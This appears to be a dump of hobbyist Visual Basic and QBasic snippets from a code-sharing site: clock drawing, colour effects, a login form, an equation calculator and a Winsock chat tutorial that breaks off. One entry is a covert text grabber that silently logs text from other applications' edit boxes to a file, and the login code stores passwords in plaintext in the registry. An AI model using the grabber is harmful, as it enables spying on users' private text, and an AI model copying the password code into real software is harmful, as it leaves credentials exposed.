DrawDial\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n Dim Hours As Single, Minutes As Single, Seconds As Single\n Dim TrueHours As Single\n \n 'Beep\n \n Hours = Hour(Time)\n Minutes = Minute(Time)\n Seconds = Second(Time)\n TrueHours = Hours + Minutes / 60\n \n 'HourHand\n Line1.X2 = HourLength * Cos(PI / 180 * (30 * TrueHours - 90)) + MidX\n Line1.Y2 = HourLength * Sin(PI / 180 * (30 * TrueHours - 90)) + MidY\n \n 'MinuteHand\n Line2.X2 = MinuteLength * Cos(PI / 180 * (6 * Minutes - 90)) + MidX\n Line2.Y2 = MinuteLength * Sin(PI / 180 * (6 * Minutes - 90)) + MidY\n \n 'SecondsHand\n Line3.X2 = SecondLength * Cos(PI / 180 * (6 * Seconds - 90)) + MidX\n Line3.Y2 = SecondLength * Sin(PI / 180 * (6 * Seconds - 90)) + MidY\nEnd Sub"},{"WorldId":1,"id":22039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22046,"LineNumber":1,"line":"Private Sub Form_Load()\nlx2 = Me.ScaleWidth\nColor = 0\nEnd Sub\nPrivate Sub Timer1_Timer()\nColor = Color + 1\nIf Color < 255 Then\nMe.ForeColor = RGB(Color, 0, 0)\nlx1 = lx1 + 3\nlx2 = lx2 - 3\nMe.Line (lx1, Me.ScaleLeft)-(lx1, Me.ScaleWidth)\nMe.Line (lx2, Me.ScaleWidth)-(lx2, Me.ScaleLeft)\nMe.Line (0, lx1)-(Me.ScaleWidth, lx1)\nMe.Line (Me.ScaleHeight, lx1)-(Me.ScaleTop, lx2)\nElseIf Color > 254 Then\nTimer1.Enabled = False\nTimer2.Enabled = True\nEnd If\nEnd Sub\nPrivate Sub Timer2_Timer()\nColor = Color - 1\nIf Color > 1 Then\nMe.ForeColor = RGB(Color, 0, 0)\nlx1 = lx1 + 3\nlx2 = lx2 - 3\nMe.Line (lx1, Me.ScaleLeft)-(lx1, Me.ScaleWidth)\nMe.Line (lx2, Me.ScaleWidth)-(lx2, Me.ScaleLeft)\nMe.Line (0, lx1)-(Me.ScaleWidth, lx1)\nMe.Line (Me.ScaleHeight, lx1)-(Me.ScaleTop, lx2)\nElseIf Color < 1 Then\nTimer2.Enabled = False\nEnd If\nEnd Sub"},{"WorldId":1,"id":22049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22064,"LineNumber":1,"line":"NOTE: The First Password will be \"\", or Nothing,\nas there is nothing saved to that setting in the registry untill you change the password.\nNOTE: See ScreenShot for info on setting the forms\nup and the controls to be put on to the forms.\n==================================\nPut this code in the \"LOGIN\" form:\n===================================\nPrivate Sub cmdlogin_Click()\nIf txtPassword.Text = txtgetpass.Text Then\n frmMain.Show\n Unload Me\nElse\n MsgBox \"Invalid Password, Please try again\", , \"Login\"\n txtPassword.Text = \"\"\n txtPassword.SetFocus\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\ntxtgetpass.Text = GetSetting(\"App\", \"Appname\", \"Password\", \"\")\nEnd Sub\nPrivate Sub txtPassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n cmdlogin_Click\n 'Clear the text box.\n KeyAscii = 0\nEnd If\nEnd Sub\n==================================================\nPut this code in the \"ChangePassword form\" :\n==================================================\nPrivate Sub txtoldpassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n txtnewpassword.SetFocus\n 'Clear the text box.\n KeyAscii = 0\nEnd If\nEnd Sub\nPrivate Sub txtnewpassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n txtchknewpass.SetFocus\n 'Clear the text box\n KeyAscii = 0\nEnd If\nEnd Sub\nPrivate Sub txtchknewpass_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n Command1_Click\n 'Clear the text box\n KeyAscii = 0\nEnd If\nEnd Sub\n\nPrivate Sub Command1_Click()\nIf txtoldpassword.Text = \" \" Then\n MsgBox \"Please enter old password\", vbOKOnly, \"Login\"\nElse\n GoTo Checkoldpass\nEnd If\nExit Sub\nCheckoldpass:\nIf txtoldpassword = txtgetpass.Text Then\n GoTo checknewPass\nElse\n MsgBox \"Invalid Old Password, Please try again\", vbOKOnly, \"Login\"\nEnd If\nExit Sub\nchecknewPass:\nIf txtnewpassword.Text = \"\" Then\n MsgBox \"Please enter a new password\", vbOKOnly, \"Login\"\nElse\n GoTo Confirmpass\nEnd If\nExit Sub\nConfirmpass:\nIf txtnewpassword.Text = txtchknewpass.Text Then\n GoTo Changepass\nElse\n MsgBox \"Password's do not match\",,\"Login\"\nEnd If\nExit Sub\nChangepass:\nSaveSetting \"App\", \"Appname\", \"Password\", txtchknewpass.Text\nMsgBox \"Password succesfully changed!\", vbOKOnly, \"Login\"\nUnload Me\nEnd Sub\nPrivate Sub Command2_Click()\nUnload Me\nEnd Sub\nPrivate Sub Form_Load()\ntxtgetpass.Text = GetSetting(\"App\", \"AppName\", \"Password\", \"\")\nEnd Sub\n\n"},{"WorldId":1,"id":22068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22103,"LineNumber":1,"line":"' =-=-=-=-=-=-=-=-=-=-=\n' Add a timer, with intervals of 1\n' -=-=-=-=-=-=-=-=-=-=-\n' This is a really simlpe and cool little program that I made\n' on accident trying to make something resembling, well, something\n' different. But I thought this looked cool, and I thought that\n' someone might want to put it in the back of a game. If anyone does\n' please give me a lil credit, thanx.\n' ~Jason Ryczek - CCguy7@aol.com\nDim red(0 To 256) As Integer, green(0 To 256) As Integer, blue(0 To 256) As Integer\nDim RadialGrow As Boolean\nSub ColorFade()\nMe.Cls\nFor i = 0 To 256 Step 1\n red(i) = i\n ' the number 1 is the radial size, change that to make the\n ' radial size around the axis\n green(i) = green(i) + (Rnd * 1) + (Rnd * -1)\n If RadialGrow = True Then\n If green(i) > 256 Or green(i) < 0 Then\n green(i) = 256 / 2\n End If\n End If\n PSet (green(i), red(i) + 10), RGB(0, 256 - i, 256 - i)\nNext\nEnd Sub\nPrivate Sub Form_Load()\nFor i = 0 To 256 Step 1\n green(i) = 256 / 2\nNext\n' this makes it so that the radius keeps growing\nRadialGrow = True\nEnd Sub\nPrivate Sub Timer1_Timer()\nColorFade\nTimer1.Interval = 1\nEnd Sub\n"},{"WorldId":1,"id":22105,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22127,"LineNumber":1,"line":"Public Sub DisplayDocumentDefaults(ByVal PrinterName As String, ByVal hWnd As Long)\nDim lRet As Long\n'\\\\ Only version 4.71 and above have this :. jump over error\nOn Error Resume Next\nlRet = SHInvokePrinterCommand(hWnd, PRINTACTION_DOCUMENTDEFAULTS, PrinterName, \"\", 0)\n\nEnd Sub"},{"WorldId":1,"id":22129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22167,"LineNumber":1,"line":"Yet another winsock article, it have the same style as earlier articles, so it will be easy to understand. \nIt's some very basic network programming that you just need to learn, no matter what. It teaches you to work with many connections at a time. \nCheck out the files below, a good idea is to download the compressed, in that there is a project as well as the article. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/msocks/1.htm\">Article</A> - This is the article, in html \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/msocks.zip\">Compressed</A> - The compressed file (located on another server) \nHope you enjoy it, and remember to give me some feedback "},{"WorldId":1,"id":22174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22177,"LineNumber":1,"line":"'Grab Window Edit Text Box by kodapt - 2001/4/6\n' It will grab the text in any Edit Box of any app running on your system.\n' Just Start the program and minimize it... then try to open a .txt file and\n' then go to C:\\testes.txt to see the all text there...\n'don┬┤t vote... this is a cra*... :]\n' cya, koda\n'********************************************************\n\n'API Declarations\n'to get the foreground window\nPrivate Declare Function GetForegroundWindow Lib \"user32\" () As Long\n'to send a message system\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\n'to get the cursor position\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'to get the window from a point (y,x)\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\n'to get the window text\nPrivate Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long\n'to get the class name (edit,combobox etc..)\nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long\nPublic strBuffer As String ' the string to append to the file that has all the text \"grabed\"\nPublic iEnum As Integer ' the file integer to open and write (I/O)\nPublic hJanelaCima As Long ' the window wich the user has the mouse over\nPublic hJanelaAntiga As Long ' the ancient window, to controlo if there┬┤s a new window or not\n'constants to grab the text\nPrivate Const WM_GETTEXT = &HD\nPrivate Const WM_GETTEXTLENGTH = &HE\n'type for the GetCursorPos API\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\n \nPrivate Sub Form_Load()\n\n'when starting the program, print date and time of the new logging...\nstrBuffer = \"=============================================================\" & vbCrLf\nstrBuffer = strBuffer & \"Date of log: \" & Format(Date, \"YYYY-MM-DD\") & vbCrLf\nstrBuffer = strBuffer & \"Started logging at: \" & Format(Time$, \"HH:MM\") & vbCrLf\nstrBuffer = strBuffer & \"=============================================================\" & vbCrLf\niEnum = FreeFile\n'append it in the file\nOpen \"C:\\testes.txt\" For Append As #iEnum\n Print #iEnum, strBuffer\n Close #iEnum\n strBuffer = \"\"\n'enable the timer...\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer1_Timer()\n Dim ptCursor As POINTAPI ' the cursor type variable\n Dim texto_janela As String ' the window text\n Dim rc As Long\n Dim nome_classe As String ' the class name\n Dim fenster As Long ' the foreground window.. in deutsh.. ich wisse deutshe auch...\n \nfenster = GetForegroundWindow ' get the window where user is\n\n'create string objects\ntexto_janela = String(100, Chr(0))\nnome_classe = String(100, Chr(0))\n\nCall GetCursorPos(ptCursor) ' get the cursor position\n'get the window(handle) where the user has the mouse\nhJanelaCima = WindowFromPoint(ptCursor.x, ptCursor.y)\n'get the window text and class name\nrc = GetWindowText(fenster, texto_janela, Len(texto_janela))\nrc = GetClassName(hJanelaCima, nome_classe, 100)\n'format the asshol*s...\ntexto_janela = Left(texto_janela, InStr(texto_janela, Chr(0)) - 1)\nnome_classe = Left(nome_classe, InStr(nome_classe, Chr(0)) - 1)\n\n' check the class names... i tried some like WinWord and VB, but didn┬┤t worked..\nIf nome_classe = \"Edit\" Or nome_classe = \"_WwG\" Or nome_classe = \"Internet Explorer_Server\" Or nome_classe = \"RichEdit20A\" Or nome_classe = \"VbaWindow\" Then\n\n'if this is the same window, forget\nIf hJanelaCima = hJanelaAntiga Then Exit Sub\n'there┬┤s no text? Out!\nIf WindowText(hJanelaCima) = Empty Then Exit Sub\n'put the ancient window handle, with the current one\nhJanelaAntiga = hJanelaCima\n\n'build string with time and the text grabed with WindowText\nstrBuffer = Time$ & \" - \" & texto_janela & vbCrLf\nstrBuffer = strBuffer & WindowText(hJanelaCima) & vbCrLf\n'append to the file\nOpen \"C:\\testes.txt\" For Append As #iEnum\nPrint #iEnum, strBuffer\nClose #iEnum\n\nEnd If\n\n\n\n\nEnd Sub\n'grab the text window with this function.. argument- the window handle\nPublic Function WindowText(window_hwnd As Long) As String\n Dim txtlen As Long\n Dim txt As String\n \n If window_hwnd = 0 Then Exit Function\n \n 'send the message to get the text lenght\n txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)\n If txtlen = 0 Then Exit Function\n \n txtlen = txtlen + 1\n txt = Space$(txtlen)\n \n 'send the message to get the text\n txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)\n \n 'put that on the function\n WindowText = Left$(txt, txtlen)\nEnd Function\n\n"},{"WorldId":1,"id":22178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22205,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22246,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22261,"LineNumber":1,"line":"CLS\nON ERROR GOTO ending\nt1$ = \"Equation Calculator 2.3.5\"\nt2$ = \"By ePuter\"\nLOCATE 1, 40 - LEN(t1$) / 2: PRINT t1$\nLOCATE 2, 40 - LEN(t2$) / 2: PRINT t2$\nPRINT\nPRINT \" Welcome! The program allows you\"\nPRINT \"to enter any equation containing\"\nPRINT \"a parentheses ( or ), power as ^\"\nPRINT \"*, /, +, -, ., and/or a negation\"\nPRINT \"and will give you a step-by-step\"\nPRINT \"solution according to the prior-\"\nPRINT \"ity of the operations.\"\nPRINT \" The program will not understand\"\nPRINT \"spaces or any other characters.\"\nPRINT \"Enjoy it!\"\nPRINT : PRINT \"Example: 120*-(6+2/(4/2)^3)+60*(54-5)^(1/2)\"\nPRINT : PRINT\nINPUT \"Enter the equation: \", maineqzn$\nPRINT\nPRINT maineqzn$\npower = 0\nmultiply = 1\ndivide = 2\nadd = 3\nsubtract = 4\nDO\n p = 1\n DO\n c1 = INSTR(p, maineqzn$, \"(\")\n IF c1 = 0 THEN eqzn$ = maineqzn$: EXIT DO\n c2 = INSTR(c1 + 1, maineqzn$, \"(\")\n c3 = INSTR(maineqzn$, \")\")\n IF c3 < c2 OR c2 = 0 THEN eqzn$ = MID$(maineqzn$, c1 + 1, c3 - c1 - 1): EXIT DO ELSE p = c1 + 1\n LOOP\n DO\n IF INSTR(eqzn$, \"E\") <> 0 THEN EXIT DO\n a = INSTR(eqzn$, \"^\"): opr = power\n IF a = 0 THEN a = INSTR(eqzn$, \"*\"): opr = multiply\n IF a = 0 THEN a = INSTR(eqzn$, \"/\"): opr = divide\n IF a = 0 THEN a = INSTR(eqzn$, \"+\"): opr = add\n IF a = 0 THEN a = INSTR(eqzn$, \"-\"): opr = subtract\n IF a = 1 THEN\n a = INSTR(a + 1, eqzn$, \"-\"): IF a = 0 THEN EXIT DO\n END IF\n IF a = 0 THEN EXIT DO\n i1 = a - 1\n DO\nrepeat1:\n i1 = i1 - 1\n IF i1 <= 0 THEN i1 = 0: GOTO found1\n b$ = MID$(eqzn$, i1, 1)\n SELECT CASE VAL(b$)\n CASE 1 TO 9: GOTO repeat1\n CASE 0:\n SELECT CASE b$\n CASE \".\": GOTO repeat1\n CASE \"0\": GOTO repeat1\n CASE \"-\": i1 = i1 - 1: GOTO found1\n CASE ELSE: GOTO found1\n END SELECT\n END SELECT\n LOOP\nfound1:\n i1 = i1 + 1\n num1 = VAL(MID$(eqzn$, i1, a - i1))\n i2 = a + 1\n DO\nrepeat2:\n i2 = i2 + 1\n IF i2 >= LEN(eqzn$) THEN i2 = LEN(eqzn$) + 1: GOTO found2\n b$ = MID$(eqzn$, i2, 1)\n SELECT CASE VAL(b$)\n CASE 1 TO 9: GOTO repeat2\n CASE 0:\n SELECT CASE b$\n CASE \".\": GOTO repeat2\n CASE \"0\": GOTO repeat2\n CASE ELSE: GOTO found2\n END SELECT\n END SELECT\n LOOP\nfound2:\n i2 = i2 - 1\n num2 = VAL(MID$(eqzn$, a + 1, i2 - a))\n SELECT CASE opr\n CASE power: num = num1 ^ num2\n CASE multiply: num = num1 * num2\n CASE divide:\n IF num2 = 0 THEN PRINT : PRINT \"Warning: Division by zero.\": END ELSE num = num1 / num2\n CASE add: num = num1 + num2\n CASE subtract: num = num1 - num2\n END SELECT\n IF num >= 0 THEN\n num$ = MID$(STR$(num), 2)\n ELSE\n num$ = STR$(num)\n END IF\n IF num1 < 0 THEN\n IF num >= 0 AND i1 > 1 THEN num$ = \"+\" + num$\n END IF\n eqzn$ = LEFT$(eqzn$, i1 - 1) + num$ + RIGHT$(eqzn$, LEN(eqzn$) - i2)\n IF c1 = 0 THEN\n PRINT eqzn$\n ELSE\n PRINT LEFT$(maineqzn$, c1) + eqzn$ + RIGHT$(maineqzn$, LEN(maineqzn$) - c3 + 1)\n END IF\n IF num < 0 THEN\n IF eqzn$ = STR$(num) THEN EXIT DO\n ELSE\n IF eqzn$ = MID$(STR$(num), 2) THEN EXIT DO\n END IF\n LOOP\n IF c1 <> 0 THEN\n maineqzn$ = LEFT$(maineqzn$, c1 - 1) + eqzn$ + RIGHT$(maineqzn$, LEN(maineqzn$) - c3)\n PRINT maineqzn$\n END IF\nLOOP UNTIL c1 = 0\nEND\nending:\nPRINT : PRINT \"Warning: Syntax error or overflow.\": END\n"},{"WorldId":1,"id":22266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22305,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>There is an undocumented Trick for calling stored procedures in vb using ado</TITLE>\n</HEAD>\n<BODY>\nThere is an undocumented shortcut for calling stored procedures in vb using ado.\n┬á\nWe normally call stored Procedures using the following\n┬á\n1)command object.\n2)recordset object's open method.\n3)connection object's execute method.\n┬á\nHere are a Few Examples of the undocumented way to call stored procedures using vb and ado:\n1)a simple example without input parameters or return recordsets.\nStored Procedure:\nCreate proc p1\nas\nselect * into copy1 from authors\nVB Call\nDim cn As New ADODB.Connection\nDim rs As New ADODB.Recordset\ncn.Open \"driver=sql server;server=sheraze\\sheraze;\"\ncn.p1 \n'u wont get all the stored procedure names at design time.\n2)this sample takes an input parameter and returns a recordset \nStored Procedure:\nCreate proc p2 (@name varchar(10))\nas\nselect * from authors where au_lname = @name\nVB Call\nDim cn As New ADODB.Connection\nDim rs As New ADODB.Recordset\ncn.Open \"driver=sql server;server=sheraze\\sheraze;database=pubs\"\ncn.p2 \"white\", rs \n'u wont get all the stored procedure names at design time.\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n┬á\n-sheraze</BODY>\n</HTML>\n"},{"WorldId":1,"id":22310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22320,"LineNumber":1,"line":"Organising \n Communication with WinSock\n[Introduction] \n \n \nHi. \n This is my first tutorial so it may be a little bad, but I hope I can help you \n out a little. This tutorial is for basic to intermediate coders and will explain \n a little on communication between 2 programs such as a chat program. Now you \n may have seen a lot of chat programs on here some are good some are just basic \n and ONLY do chat, in the latter the two programmes will be just sending text \n between one another. This tutorial will teach you how to organise your data \n packets and allow your chat program (or any other type of communication program) \n to do a lot more that just send text. \n \n Notice: I'm sorry that teh code is not indented properly. dam word doesnt copy \n and paste properly and I can add spaces using dream weaver so I hope you can \n make do. \n \nUpdated \n Data is in Blue: This Information is for new coders that dont quite understand \n what I'm doing and I think if I was in there shoes I would agree with them. \n The sections in blue will explain what exactly we are doing and how to do it.\nI \nhave included a fully documented example project that will help you see what is \ngoing on in the code and how it all works. \nWhat \n we are going to do. We are going to start off by learning how data packets are \n formed or better put, how you the coder should organise the information you \n tell your programs to tell each other. Then we will cover how to make your datatypes. \n These datatypes hold the key to the data and allow the program to understand \n exaclty what is has been given. thirdly we will cover how to make sending packets \n of data faster and easier in the long run. we will then learn how to unscramble \n merged data that can be a problems for both new and experenced Programmers. \n We will then learn how out programs can quickly and easilly decipher what it \n has been given. \n \n NOTE: \n the code in this artical is related to Visual Basic Version 5 and 6. it has \n not been tested for any other platform \n \n \n \n Okay so lets begin. First off let me explain how I organise my data packets\n \n [Data Packet Structure] \nWhen \n my chat program sends data the data is in 2 parts, the Data Type and the Data. \n For example: \n┬¼04HELLO! \n \nPart \n 1 (Data Type): \nThe \n first two numbers tells the recipient program what the data is. Say if the number \n is 04 then it could mean, \"Here is a message for you\" or if its 07 the it could \n mean \"My nick name is: \" \nPart \n 2 (Data) \nThis \n is the data that goes with the packet. What the recipient program does with \n it is dependant on the Data Type \nYou \n may have noticed the \"┬¼\" symbol. Don't worry its actually part \n of the data packet and not another instance of bad English / Typing. All will \n be relieved later on. \n \n[Setting \n the Types] \n \nOkay \n so now we know how the packets are formed. Now we need to code the data types \n so that its easier later on to do stuff. Here is how you would set your data \n types in a module file (or whatever). \nA \n Module file is a file that is used to store code. It allows coders to organise \n files alot easier and put certain code into certain, relivent files. To create \n a module file goto to the menu bar, choose \"Project\" then choose \"Add \n module\". \n \n =================== \n \nPublic \n Enum DataTypes \n MESSAGE = 0 \n NICKNAME = 1 \n End enum \n \n =================== \n \n An Enum is like the type Boolean (True or false) with \n boolean if you choose TRUE then the number is set to 1 becuase that is how its \n defined. it you choose FALSE then the number is set to 0. With the Enum statement \n we can make our very own boolean type, type. \n \n Okay so you've entered in the code above, now we have a type called DataTypes, \n to test it hit the enter button and type \n \n DIM TESTVARABLE as DataTypes\nNow \n type in \n TESTVARABLE = now a menu should \n come down and you can select which one you want and it will right it in for \n you. \n \n I'm not going to put a lot of types on here. My chat program has about 22 so \n far. But for this tutorial these two will do fine. Now I'm assuming you already \n know how to connect two computers together using winsock so I'm not going to \n go into that. If you need help then there are plenty of good examples and tutorials \n on the basics of winsock on this web site. \n[Making \n a Fast Send Sub Routine] \nSo \n we have our data types ready. Now we can code a really cool Sub that can really \n speed up sending data (coding wise) \n=================== \n \nPublic \n Sub Send_Data(dType As DataTypes, Optional dData As String) \n Dim oData As String \n Dim oType As String \n Dim oAll As String \n \n oType = dType \n If Len(oType) < 2 Then \n oType = \"0\" & dType \n Else oType = dType \n End If \n \n oData = dData \n oAll = \"┬¼\" & oType & oData \n \n If WINSOCKCONTROL.State <> sckConnected \n Then MsgBox \"ERROR: Not Connected\", vbCritical, \"No Connection\" \n Exit Sub \n End If \n \n WINSOCKCONTROL.SendData (oAll) \n End Sub \n \n =================== \n \n Okay basically this is used so that if you want to send a message you can do \n it with one line of code and do it really fast. It also brings up a really cool \n menu for choosing the data type. It also makes sure the data type uses 2 characters \n so if the number for the type is less than 10 then it adds the character \"0\" \n to the beginning and then the single digit afterward. Its basically used so \n that its always 2 characters and can be easily ripped out of the data packet \n later on. \n \n Okay so you've sent the data. Now you need something to decipher it on the other \n side. But first I think its time I explained what the \"┬¼\" is for. Now when \n I started playing around with my chat program on the Internet I found that the \n data was getting merged together. Basically sometimes two data packets merged \n to look something like this 02Hi04David. When this happened my program went \n to find the data type \"02\" then sent the message \"hi04david\" which was annoying \n because the 04david was supposed to be a nickname and not a message. So any \n ways back to the point. \n \n [Splitting merged data packets] \n \n I came up with the idea of adding a symbol to the beginning of all the packets \n then splitting the packets up after every \"┬¼\" symbol. It took a while to \n figure out but I managed it… so here the code to do it…. By the way there is \n a reference to the Incoming_Data Sub, which we will cover afterwards. \n \n =================== \n \n Public Sub Split_Packet(iData As String) \n Dim sPackS As Integer \n Dim sPackE As Integer \n Dim i As Integer \n Dim j As Integer \n Dim sLast As Integer \n Dim sType As DataTypes \n Dim sData As String \n Dim sAllData As String \n \n For i = 1 To Len(iData) \n \n If Mid(iData, i, 1) = \"┬¼\" Then \n sPackS = i + 1 \n \n For j = sPackS To Len(iData) \n \n If (j = Len(iData)) And Mid(iData, j, 1) <> \"┬¼\" Then \n \n sPackE = Len(iData) \n sAllData = Mid(iData, sPackS, sPackE) '- (sPackS + 1))) \n \n If Len(sAllData) < 3 Then \n sType = sAllData \n Else \n \n sType = Mid(sAllData, 1, 2) \n sData = Mid(sAllData, 3, (Len(sAllData) - 2)) \n \n End If \n Call incoming_data(sType, sData) \n Exit Sub \n \n ElseIf Mid(iData, j, 1) = \"┬¼\" Then \n \n sPackE = (j - 2) \n sAllData = Mid(iData, sPackS, (sPackE - sPackS) + 2) \n \n If Len(sAllData) < 3 Then \n sType = sAllData \n Else \n \n sType = Mid(sAllData, 1, 2) \n sData = Mid(sAllData, 3, (Len(sAllData) - 2)) \n End If \n \n Call incoming_data(sType, sData) \n \n Exit For \n \n End If \n \n Next j \n \n End If \n \n Next i \n \n End Sub \n \n===================\nThe \n symbol \"┬¼\" is used by holding shift and then the button next to \n the number 1. It can be any symbol you wish, but I chose this symbol becuase \n I felt that it would not be used by the people testing the program and so I \n would be safe using it. \n \n Okay all this does it constantly loops around until it's found all the merged \n packets (if any) then send it to another sub to be processed. \n \n Now if you're actually an expert at Winsock and wonder why I just didn't just \n use the \"send complete\" event in Winsock. Well its because it kind of freezes \n up when u have 30 connections and it gets really slow doing it that way. \n \n [Processing the Incoming Data] \n \n Okay we've now sorted the data now we need to do something with it. This is \n where incoming_data comes in. Basically all we do here is do a select case statement \n on the incoming data type. Then do something with the data. \n \n =================== \n \n Public Sub incoming_data(iType As DataTypes, iData As \n String) \n \n Select Case iType \n Case DataTypes.MESSAGE \n 'send the data or message to the textbox \n txt_dialog.Text = txt_dialog.Text & iData & vbCrLf \n Case DataTypes.NICKNAME \n 'set the remote users nickname as the data \n lbl_usernick.caption = idata \n end select \n \n =================== \n \n So you now need to know the steps what you should do on \n a Data_Arival Event in winsock it is this.... \n >ON - DATA_ARRIVAL_WINSOCK> \n >SEND THE DATA TO > \n >SPLIT_PACKET > \n >SEND THE PACKETS TO> \n >INCOMING_DATA \n > \n >DO SOMETHING WITH THE DATA AND ITS TYPE. \n \n Now I mean this is quite basic what I've shown you here. But you can add new \n data types and do new things on that type of data. There is no limit to how \n many you want. Although don't go over 100 type if your using my code… come to \n think of it. If you manage to get over 100 individual types email me or post \n a comment because I don't believe 